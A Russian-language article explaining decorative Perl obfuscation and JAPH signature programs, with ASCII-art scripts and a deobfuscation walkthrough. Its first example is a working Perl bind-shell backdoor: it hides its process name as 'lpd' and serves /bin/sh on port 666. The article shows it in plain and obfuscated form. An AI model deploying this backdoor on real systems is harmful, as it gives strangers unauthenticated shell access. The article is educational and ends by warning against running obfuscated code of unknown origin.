print «Just another Perl hacker,»
if «you can’t think of anything better…»

merlyn

 

intr0

В этой небольшой статье я хочу коснуться такой не совсем обычной, и потому весьма интересной темы, как декоративная обфускация кода, а если быть более точным, кода на языке PERL, а также рассказать о PERL-скриптах, которые принято называть japh. Статья носит, прежде всего, ознакомительный характер. Надеюсь она будет интересна начинающим PERL-кодерам, или же просто людям интересующимся.

 

Обфускация по-хакерски 😉

И если термин «обфускация» вряд ли будет незнакомым читателю, то словосочетание «декоративная обфускация» у многих может вызвать удивление и, полагаю, здоровый интерес к этому явлению. А потому давай поглядим сначала, в чем, собственно, разница между обфускацией кода и его декоративной обфускацией.

Простое и понятное определение термина «обфускация» можно наблюдать в онлайн-энциклопедии Wikipedia, в которой сказано, что «обфускация — это запутывание кода программы, то есть приведение исходного текста или исполняемого кода к виду, сохраняющему функциональность программы, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции». В этой статье, понятное дело, будет рассматриваться только обфускация применительно к исходному тексту программы, а не исполняемого кода.

Скриптовые языки программирования диктуют необходимость применения обфускации в качестве защиты от несанкционированной модификации и копирования кода. Скрипт, содержащий изначально легкочитабельный код, пройдя через огонь, воду и медные трубы алгоритмов обфускации, возвращается из программы-обфускатора совершенно неузнаваемым, и, чтоб вернуть его к нормальному для восприятия виду, можно потратить времени зачастую гораздо больше, чем на разработку его аналога, что и требуется программистам, желающим защитить свой исходный код от недобросовестных конкурентов-плагиаторов и просто для того, чтоб скрыть свой код от глаз любопытствующих (читай — чтоб хакерам было сложнее искать ошибки в нем).

Существуют несколько типов алгоритмов обфускации исходного кода, но здесь в подробностях останавливаться на них я не стану, так как это весьма обширная тема, которой можно посвятить отдельную статью. Можно выделить три основных вида обфускации:

  • лексическую обфускацию (понижение читабельности кода);
  • обфускацию данных (различные манипуляции с данными);
  • обфускацию управления (запутывание последовательности выполнения программного кода)

Каждый вид обфускации может быть реализован с помощью различных техник, зачастую являющихся специфичными для отдельных языков программирования.

Теперь неплохо было бы привести немного примеров. Допустим, мы имеем вот такой скрипт:

use Socket;

$port	= 666;
$proto	= getprotobyname('tcp');
$cmd	= "lpd";
$system	= 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)

{
	open(STDIN, ">&CLIENT");
	open(STDOUT, ">&CLIENT");
	open(STDERR, ">&CLIENT");
	system($system);
	close(STDIN);
	close(STDOUT);
	close(STDERR);
}

Попробуем отдать этот скриптик на съедение программе-обфускатору. И что мы имеем на выходе? А вот это:

Cкрипт, обфусцированный Perl Code Obfuscator v. 1.0

use Socket; $neyc = 666; $RREtS = getprotobyname('tcp'); 
$msE = "\x6C\x70\x64"; $SIiJBu = 
'echo "\x28\x60\x77\x68\x6F\x61\x6D\x69\x60\x40\x5A\
x61\x6C\x51\x48\x4E\x20\x2D\x6E\x60\x3A\x60\x70\x77\
x64\x60\x29"; /bin/sh'; $0 = $msE; socket(SERVER, 
PF_INET, SOCK_STREAM, $RREtS) or die "\x73\x6F\x63\x6B\
x65\x74\x3A\x24\x21"; setsockopt(SERVER, SOL_SOCKET, 
SO_REUSEADDR, pack("\x6C", 1)) or die "\x73\x65\x74\x73\
x6F\x63\x6B\x6F\x70\x74\x3A\x20\x24\x21"; bind(SERVER, 
sockaddr_in($neyc, INADDR_ANY)) or die "\x62\x69\x6E\
x64\x3A\x20\x24\x21"; listen(SERVER, SOMAXCONN) or die 
"\x6C\x69\x73\x74\x65\x6E\x3A\x20\x24\x21"; for(; $CtZiH 
= accept(CLIENT, SERVER); close CLIENT) { open(STDIN, 
"\x3E\x26\x43\x4C\x49\x45\x4E\x54"); open(STDOUT, "\x3E\
x26\x43\x4C\x49\x45\x4E\x54"); open(STDERR, "\x3E\x26\
x43\x4C\x49\x45\x4E\x54"); system($SIiJBu); close(STDIN);
close(STDOUT); close(STDERR); }

Как видишь, код стал гораздо менее читабельным. И хотя привести к нормальному виду его будет несложно (так как тут был в основном задействован сравнительно простой вид обфускации — лексическая обфускация, и уже в меньшей степени — обфускация данных), задача деобфускации значительно усложняется, когда необходимо разобраться в коде продукта, состоящего из множества файлов, причем достаточно немаленьких размеров.

А теперь предлагаю взглянуть на великолепный пример декоративно обфусцированного кода.

Evolutionary japh by liverpole

                               s''map{$j
                            ^=1;map{$g{$j}{
                           $_}=1}split//}spl
                          it"/",$G||="23/3";s
                          ub#g{$z=pop;$r=\$C[
                          64*$x+$y];$Q=$x<0||
                          $x>63||$y<0||$y>63?
                           0:$$r;if($z>=0&&$
                            Q!=$z){$$r=$z;$
                               M=512*$x+
                                                        8*$y;$I=$
                                                     I[$M]and$c->del
                                                    ete($I);$I[$M]=cr
                                                   eateOval$c(3+8*$x,3
                                                   +8*$y,9+8*$x,9+8*$y
                                                   ,-f=>$z?"blue":$N,o
                                                   utline=>$N)}$Q}use#
                                                    Tk;$m=new#MainWin
                                                     dow(title=>$G);
                                                        $c=$m->Ca

      nvas(w,51                4,he,514)                ->pack;af
   ter$m(1,sub{$N=          cget$c(bg);@S=0          ..63;map{$a=2+8
  *$_;@D=(2,$a,515,        $a);map{createLin        e$c(@D);@D=($a,@D
 );pop@D}7..8}@S,64;      $F?do{open(_,$F);ma      p{$x=0;map{g(/@/);$
 x++}split//;++$y;}<      _>}:map{$x=$_;map{$      y=$_;g(1>rand#4)}@S
 }@S;{for$p(@S){map{      $q=$_;$t=0;for$v(-1      ..1){map{$x=$p+$_;$
 y=$v+$q;$g=g(-1);$_      ||$v#or$G=$g;$t+=$g      ;}(-1..1)}$N[64*$p+
  $q]=$g{$G||0}{$t-        $G}}@S}for$x(@S){        map{$y=$_;g+$N[64
   *$x+$_]}@S}upda          te$m;redo}});Ma          inLoop';s#\s##g
      ;s&#& &g;                ($F,$G)=@                ARGV;eval

Весьма интересный «код», не правда ли? Я даже написал слово «код», обрамив кавычками, потому как приведенный выше пример несколько выходит за рамки того, что обычно обозначают словом «код». Запускай интерпретатор perl поскорей, чтоб посмотреть, что делает этот маленький скриптик. Честно говоря, когда я впервые запустил этот скрипт, я пребывал в состоянии некоторого восторга, с трудом понимая, как можно засунуть в пять кружочков эмблемы хакинга подобный алгоритм.

Ты, наверное, заметил в названии вышеприведенного скрипта слово japh. Дело в том, что декоративная обфускация perl-кода неразрывно связана с этим явлением, japh, а потому давай познакомимся поближе со значением этого слова.

 

JAPH

Japh — это аббревиатура, означающая «Just Another Perl Hacker», по-русски — «Еще один хакер PERL» или же «Просто еще один perl-хакер». Изначально словом japh называли короткую программку на языке PERL, выводящую на экран строку «Just Another Perl Hacker", демонстрируя при этом возможности и гибкость языка, причем зачастую в ущерб производительности.
Japh обрели популярность в начале 90-х во многом благодаря гуру PERL Рэндалу Шварцу
aka merlyn. Он стал использовать japh в качестве подписи, модерируя новостную группу, посвященную языку PERL comp.lang.perl, с целью подчеркнуть то, что он пытался объяснить в своем сообщении.

Несколько примеров «классических» japh (я привожу тут эти примеры в формате, содержащем поля «Date» и «From», чему обязывают существующие неписанные каноны публикации таких
japh):

Date:         17 Mar 90 22:34:02 GMT
From:         merlyn@iwarp.intel.com (Randal Schwartz)
@X=split(//,'Just another Perl hacker,');*Y=*X;print @Y;

Date:         20 Mar 90 01:21:37 GMT
From:         merlyn@iwarp.intel.com (Randal Schwartz)
$_=',Pr0e=kRcza0hb 5lOr+e"PE :rBe}hRtho]nhaj nt.s[u=J@';s/../unshift(a,$&)/eg;chop(@a);print@a;

Date:         20 Mar 90 01:53:40 GMT
From:         merlyn@iwarp.intel.com (Randal Schwartz)
print "Just another Perl hacker," x "1no time to write a cute signature";

Date:         20 Mar 90 20:35:16 GMT
From:         merlyn@iwarp.intel.com (Randal Schwartz)
$_='5O1v3v5y9)1b7u2q4x1i0e3u2"3S9n5w7s6&7o7h8k1l6k3u3/';s/(.)(.)/pack('C',ord($2)-$1)/eg;print;

Date:         20 Mar 90 23:33:06 GMT
From:         merlyn@iwarp.intel.com (Randal Schwartz)
eval <<EOF;
print "Just another Perl hacker,"
EOF

Как видишь, japh могли быть как достаточно простыми, так и довольно-таки запутанными и сложными для восприятия. Со временем их сложность все возрастала, программеры стали писать japh просто ради собственного удовольствия и чтобы продемонстрировать свое мастерство владения PERL, и japh увеличивались в размерах, становились все сложнее и часто стали приобретать декоративный вид, напоминая творчество ascii-художников. Как, например этот PERL-код:

STAR WARS
japh

#!/usr/local/bin/perl
undef$/;$_=<DATA>;y/ODA\n / /ds;@yoda=map{length}split;print chr
oct join('',splice(@yoda,0,3))-111 while@yoda;
__DATA__
         00O00O000O00O0000      000O         DD000000O0
        0DO0000000O0000O00     O00000        00O00000O0O
        0000      0O0         O00  O00       00D     0DO
         00O0     0O0        00D    000      DO0D00000D
          0O00    DOD       000000O00000     000  O00O
 DD0000D000O0     000      0O00O0000D00DO    0OD   D00O000D00O0
 00000DO00O0      000     000O        00D0   O0D    O00000O0DO0

 0O000   OD0D   O00O0   0000         DDDO000000      O00O000000
  0O000 O00DDO 00000   0O0D00        00O0O00000O    0O00O000000
   0O0O00OD00000DDD   00O  0D0       DDD     D0O    00O0D
    00000O00000000   O00    DO0      D00D00O000      00D00
     D0O00  O0000   000O000O00DO     000  00O0        0OD00
      O00    000   0O000D000O00O0    000   0D0O000000O00O00
       0      0   0O0D        0000   0O0    0O0000000O000O

Или этот верблюд — эмблема PERL (это пример «визуального» japh, для корректного просмотра которого предварительно выставь в настройках консоли «разрешение» 120×48 символов, а вот шрифт лучше выбери поменьше):

#!/usr/bin/perl -w

                                            sub j(\$){($
             P,$V)=                      @_;while($$P=~s:^
         ([()])::x){                    $V+=('('eq$1)?-32:31
   }$V+=ord(  substr(                 $$P,0,1,""))-74} sub a{
  my($I,$K,$  J,$L)=@_               ;$I=int($I*$M/$Z);$K=int(
 $K*$M/$Z);$J=int($J*$M             /$Z);$L=int($L*$M/$Z); $G=$
 J-$I;$F=$L-$K;$E=(abs($          G)>=abs($F))?$G:$F;($E<0) and($
  I,$K)=($J,$L);$E||=.01       ;for($i=0;$i<=abs$E;$i++ ){ $D->{$K
          +int($i*$F/$E)      }->{$I+int($i*$G/$E)}=1}}sub p{$D={};$
         Z=$z||.01;map{    $H=$_;$I=$N=j$H;$K=$O=j$H;while($H){$q=ord
        substr($H,0,1,"" );if(42==$q){$J=j$H;$L=j$H}else{$q-=43;$L =$q
      %9;$J=($q-$L)/9;$L=$q-9*$J-4;$J-=4}$J+=$I;$L+=$K;a($I,$K,$J,$ L);
      ($I,$K)=($J,$L)}a($I,$K,$N,$O)}@_;my$T;map{$y=$_;map{ $T.=$D->{$y}
      ->{$_}?$\:' '}(-59..59);$T.="\n"}(-23..23);print"\e[H$T"}$w= eval{
      require Win32::Console::ANSI};$b=$w?'1;7;':'';($j,$u,$s,$t,$a,$n,$o
      ,$h,$c,$k,$p,$e,$r,$l,$C)=split/}/,'Tw*JSK8IAg*PJ[*J@wR}*JR]*QJ[*J'.
       'BA*JQK8I*JC}KUz]BAIJT]*QJ[R?-R[e]\RI'.'}Tn*JQ]wRAI*JDnR8QAU}wT8KT'.
       ']n*JEI*EJR*QJ]*JR*DJ@IQ[}*JSe*JD[n]*JPe*'.'JBI/KI}T8@?PcdnfgVCBRcP'.
        '?ABKV]]}*JWe*JD[n]*JPe*JC?8B*JE};Vq*OJQ/IP['.'wQ}*JWeOe{n*EERk8;'.
          'J*JC}/U*OJd[OI@*BJ*JXn*J>w]U}CWq*OJc8KJ?O[e]U/T*QJP?}*JSe*JCnTe'.
           'QIAKJR}*JV]wRAI*J?}T]*RJcJI[\]3;U]Uq*PM[wV]W]WCT*DM*SJ'.  'ZP[Z'.
              'PZa[\]UKVgogK9K*QJ[\]n[RI@*EH@IddR[Q[]T]T]T3o[dk*JE'.  '[Z\U'.
                '{T]*JPKTKK]*OJ[QIO[PIQIO[[gUKU\k*JE+J+J5R5AI*EJ00'.  'BCB*'.
                     'DMKKJIR[Q+*EJ0*EK';sub h{$\ = qw(% & @ x)[int    rand
                      4];map{printf  "\e[$b;%dm",int(rand 6)+101-60*   ($w
                       ||0);system(  "cls")if$w ;($A,$S)=    ($_[1],   $
                        _[0]);($M,   @,)= split  '}';for(     $z=256
                        ;$z>0; $z   -=$S){$S*=   $A;p @,}      sleep$_
                        [2];while   ($_[3]&&($    z+=$ S)       <=256){
                        p@,}}("".   "32}7D$j"     ."}AG".       "$u}OG"
                        ."$s}WG"    ."$t",""      ."24}("        ."IJ$a"
                        ."}1G$n"    ."}CO$o"     ."}GG$t"        ."}QC"
                         ."$h}"      ."^G$e"    ."})IG"          ."$r",
                         "32}?"       ."H$p}FG$e}QG$r".          "}ZC"
                         ."$l",          "28}(LC" .""            ."".
                         "$h}:"           ."J$a}EG".             "$c"
                         ."}M"             ."C$k}ZG".            "$e"
                         ."}"             ."dG$r","18"          ."}("
                        ."D;"            ."$C"  )}{h(16         ,1,1,0
                       );h(8,          .98,0,0   );h(16         ,1,1,1)
                       ;h(8.0         ,0.98,0,     1);         redo}###
                     #written                                 060204 by
                   #liverpole                                  @@@@@@@
                #@@@@@@@@@@@

После такого выводить строчку из четырех слов в своем japh perl-кодерам стало уже не так интересно, и потому программы-japh сегодня уже вовсе не обязательно выведут вам заветное «Just Another Perl Hacker». По сути, теперь japh‘ом, помимо скрипта, выводящего на экран «Just…», можно назвать любой декоративно-обфусцированный PERL-скрипт.

 

Разбор japh

Некоторые japh, возможно, удивят не только начинающих кодеров. Как, например, этот ставший уже знаменитым квадрат (не Малевича =)):

japh из ключеывх слов PERL

not exp log srand xor s qq qx xor
s x x length uc ord and print chr
ord for qw q join use sub tied qx
xor eval xor print qq q q xor int
eval lc q m cos and print chr ord
for qw y abs ne open tied hex exp
ref y m xor scalar srand print qq
q q xor int eval lc qq y sqrt cos
and print chr ord for qw x printf
each return local x y or print qq
s s and eval q s undef or oct xor
time xor ref print chr int ord lc
foreach qw y hex alarm chdir kill
exec return y s gt sin sort split

Вышеприведенный скрипт состоит только из ключевых слов языка PERL. Может ли он вообще быть рабочим? Интерпретатор доказывает нам, что может. Итак, давай попробуем разобраться, как он работает, а для этого попробуем привести его к «нормальному» виду — произведем деобфускацию кода =).

Первое, что я уловил взглядом, это то, где запрятана среди кода строчка «Just…». А затем, разглядев в коде строки, печатающие пробелы между словами, решил поделить код на 4 части для упрощения его анализа:

        not exp log srand xor s qq qx xor
	s x x length uc ord and print chr
	ord for qw q Join Use Sub Tied qx
	xor eval xor print qq q q 

	int
	eval lc q m cos and print chr ord
	for qw y Abs Ne Open Tied Hex Exp
	Ref y m xor scalar srand print qq
	q q

	int eval lc qq y sqrt cos
	and print chr ord for qw x Printf
	Each Return Local x y or print qq
	s s 

	eval q s undef or oct xor
	time xor ref print chr int ord lc
	foreach qw y Hex Alarm Chdir Kill
	Exec Return y s gt sin sort split

Начнем с 1-й части. Возьмем первую строку кода, но прежде я в качестве интересного примера приведу такую строчку:


print ‘123’ xor print ‘456’ xor print ‘789’

Скормив ее интерпретатору, можно убедиться в том, что логический оператор xor, в принципе, при определенных условиях легко может послужить заменой символу «;», разделяющему операторы PERL. Итак:

	not exp log srand xor s qq qx xor

можно преобразовать как

	s// /x;

Дело в том, что «not exp log srand» всегда равно значению «ложь» и может не учитываться, так как роли никакой не играет. Посмотрим на последующий участок кода:

	s x x length uc ord and print chr
	ord for qw q join use sub tied qx
	xor eval xor print qq q q xor

Его можно представить в более читабельном виде:

	s/ / length uc ord and print chr ord for qw q join use sub tied q/;
	eval $_;
	print ' ';

Код «print chr ord for qw q join use sub tied q», который печатает слово «just» легко приводится к виду:

	print chr ord for ('join', 'use', 'sub', 'tied')

или просто, к равнозначному по результату, «print ‘just'». В итоге получаем, что первые 4 строки скрипта равнозначны следующим:

	s// /x; # тут встроенной переменной $_ присваивается значение " "
	s/ / length uc ord and print 'just'/; # теперь в $_ пробел заменяется на данный код
	eval $_; # "print 'just'" исполняется, т.к. "length uc ord" всегда равно "истине"
	print ' '; # печатаем пробел после слова "just"

Далее следует код 2-й части, выводящий на экран
"another «:

	int
	eval lc q m cos and print chr ord
	for qw y abs ne open tied hex exp
	ref y m xor scalar srand print qq
	q q

Здесь «print chr ord for qw y abs ne open tied hex exp ref y» эквивалентно «print ‘another'», тогда «int eval lc q m cos and print ‘another’ m» можно записать как «int eval lc q m cos and print ‘another’ m». И если убрать всю лишнюю мишуру, то в итоге получается:


eval «print ‘another'»;
print ‘ ‘;

Аналогичным образом можно деобфусцировать код, выводящий «perl » и «hacker». Как видишь, ничего сложного в этом квадрате и нет, деобфускация проходит весьма просто (потому как я выбрал весьма простой пример =)). После того, как мы разобрались с квадратом из ключевых слов PERL, нас уже подобными japh не удивишь ). Интересно, сможешь ли ты самостоятельно разобраться в том, как работает код, приведенный ниже, состоящий на этот раз из одних только знаков символов? =)

Code Monolith by boo

''=~('('.'?' . '{'.(
'/'.'/'.')'.'.'.'/'.
'`'.'|'.'`'.'.'.'.'.
'/'.'`'.'`'.'.'.'/'.
'/'.'('.':'.'/'.'`'.
'~'.':'.'/'.','.'`'.
'`'.':'.'>'.'+'.':'.
'/'.'|'^'_'.']'.'@'.
'@'.'['.'@'.'['.'*'.
'['.']'.'['.'@'.'!'.
'@'.'@'.'['.'@'.'_'.
']'.'@'.'.'.'_'.']'.
'@'.'@'.'('.'['.']'.
'@'.'_'.']'.'[').','
.'$' .'/'.'}'.')' );

Попробуй после прочтения статьи разделаться с ним самостоятельно, а я пока познакомлю тебя с еще одной интересной разновидностью japh, фишка которой заключается не в сложной обфускации или прикольном оформлении, а в том, что он, этот japh, «мультиязычный» (такой код иногда еще называют не иначе как «полиглот» =)). Взгляни на этот пример:

#include <stdio.h>
int main(int argc, char ** argv) /* 0 if 0; #*/

{
  printf("Just another C/Perl Hacker !");
}

Итак, из приведенных в этой статье примеров japh-скриптов, мы увидели, что из себя представляет декоративная обфускация кода. Она может включать в себя все виды обфускации обыкновенной. Кроме того, в japh часто используются малоизвестные возможности языка, и конструкции, которые редко можно будет повстречать в обычном коде.

 

В заключение

В заключение хочется лишь добавить ко всему изложенному выше, что изучение чужих japh и написание собственных — это отличный способ повысить свой уровень владения языком PERL. А потому очень рекомендую пройтись по приведенным ниже ссылкам на ресурсы,
посвященные данной тематике. И не забывай, что под декоративной обфускацией, помимо кода, выводящего «Just…», можно замаскировать какой угодно код, в том числе и вредоносный, а потому никогда не спеши запускать обфусцированный код сомнительного происхождения. Если тебя заинтересовали примеры japh, которые приводились в этой статье, то рекомендую пройтись по нижеприведенным ссылкам на ресурсы, посвященные данной тематике.

 

Links

http://perlmonks.org — пристанище всех англоязычных PERL-адептов. Имеется раздел «Obfuscated Code». Очень рекомендую посетить
japh.html» target=»_blank»>
http://www-128.ibm.com/developerworks/linux/library/l-japh.html
— статья «Cultured Perl: The elegance of japh» Теодора Златанова (Teodor Zlatanov) о japh